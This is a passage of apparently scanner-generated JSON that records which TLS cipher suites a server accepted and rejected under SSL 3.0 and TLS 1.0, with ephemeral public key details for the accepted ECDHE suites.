"is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "SSL_3_0" - }, - "status": "COMPLETED" - }, - "tls_1_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp384r1", - "generator": null, - "prime": null, - "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", - "size": 384, - "type_name": "ECDH", - "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", - "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "prime256v1", - "generator": null, - "prime": null, - "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", - "size": 256, - "type_name": "ECDH", - "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", - "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - 